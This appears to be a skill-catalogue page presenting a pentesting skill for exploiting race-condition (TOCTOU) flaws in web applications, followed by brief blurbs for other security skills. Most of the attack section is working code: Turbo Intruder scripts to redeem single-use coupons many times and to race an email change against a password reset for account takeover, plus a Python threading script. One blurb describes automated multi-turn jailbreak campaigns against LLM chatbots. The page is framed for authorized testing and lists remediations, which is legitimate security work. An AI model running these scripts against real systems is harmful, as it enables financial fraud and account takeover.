external/anthropic-cybersecurity-skills/skills/exploiting-race-condition-vulnerabilities/SKILL.md
Detects and exploits race condition (TOCTOU) vulnerabilities in web applications using Burp Suite's Turbo Intruder extension and its single-packet attack technique to fire parallel requests that bypass rate limits, duplicate transactions, or overrun usage limits. Use when pentesting endpoints with balances, coupon redemption, or rate limiting that concurrent requests might manipulate.
npx skillsauth add seikaikyo/dash-skills exploiting-race-condition-vulnerabilitiesInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines
# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)
# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Queue 20 identical requests for the same operation
for i in range(20):
engine.queue(target.req, gate='race1')
# Hold all requests until ready
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=50,
engine=Engine.BURP2)
# Send 50 coupon redemption requests simultaneously
for i in range(50):
engine.queue(target.req, gate='coupon_race')
engine.openGate('coupon_race')
def handleResponse(req, interesting):
# Flag successful redemptions (200 OK)
if req.status == 200:
table.add(req)
# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Request 1: Change email to [email protected]
email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json
{"email":"[email protected]"}'''
# Request 2: Trigger password reset (goes to original email)
password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json
{"email":"[email protected]"}'''
engine.queue(email_change, gate='race1')
engine.queue(password_reset, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
import threading
import requests
TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"
def send_request():
response = requests.post(
TARGET_URL,
json={"coupon": COUPON_CODE},
headers={"Cookie": SESSION_COOKIE},
timeout=10
)
print(f"Status: {response.status_code}, Response: {response.text[:100]}")
# Create barrier to synchronize thread start
barrier = threading.Barrier(20)
def synchronized_request():
barrier.wait() # All threads wait here, then start together
send_request()
threads = [threading.Thread(target=synchronized_request) for _ in range(20)]
for t in threads:
t.start()
for t in threads:
t.join()
# In Turbo Intruder results:
# - Sort by status code to identify successful requests
# - Compare response lengths to find anomalies
# - Check if more than one request succeeded (limit overrun confirmed)
# - Verify backend state (balance, inventory, coupon count)
# Document the race window timing
# Successful race conditions typically require:
# - HTTP/2 single-packet attack: ~30 seconds to find
# - Last-byte sync (HTTP/1.1): ~2+ hours to find
# - Thread-based approach: Variable, less reliable
| Concept | Description | |---------|-------------| | TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action | | Single-Packet Attack | Sending multiple HTTP/2 requests in one TCP packet for precise synchronization | | Last-Byte Sync | HTTP/1.1 technique holding final byte of multiple requests then releasing simultaneously | | Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic | | Hidden State Machine | Exploiting transitional states in multi-step application workflows | | Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously | | Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |
| Tool | Purpose | |------|---------| | Turbo Intruder | Burp Suite extension for high-speed race condition exploitation | | Burp Suite Repeater | Group send feature for basic race condition testing | | Nuclei | Template-based scanner with race condition detection templates | | Python threading | Custom multi-threaded race condition scripts | | racepwn | Dedicated race condition testing framework | | asyncio/aiohttp | Python async HTTP for concurrent request sending |
## Race Condition Assessment Report
- **Target**: http://target.com/api/redeem-coupon
- **Technique**: HTTP/2 Single-Packet Attack via Turbo Intruder
- **Concurrent Requests**: 20
- **Successful Exploitations**: 4 out of 20
### Findings
| # | Endpoint | Operation | Expected | Actual | Severity |
|---|----------|-----------|----------|--------|----------|
| 1 | POST /redeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |
| 2 | POST /transfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |
### Race Window Analysis
- HTTP/2 single-packet: Reliable exploitation in <30 seconds
- Success rate: ~20% per batch of 20 requests
- Race window estimated: 50-100ms
### Remediation
- Implement database-level locking (SELECT FOR UPDATE) on critical operations
- Use optimistic concurrency control with version numbers
- Apply idempotency keys for state-changing requests
- Implement distributed locks for multi-server environments
tools
Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.
tools
Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.
development
Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.
testing
Stand up MISP, enable and cache curated threat feeds (CIRCL, abuse.ch, Feodo Tracker), apply warninglists to suppress false positives, query indicators with PyMISP, and export attributes as auto-generated Suricata/Sigma/Wazuh detection rules. Use when maturing a MISP instance to actively drive detection, curating threat feeds with quality controls, or automating IOC-to-detection pipelines for the SIEM/IDS.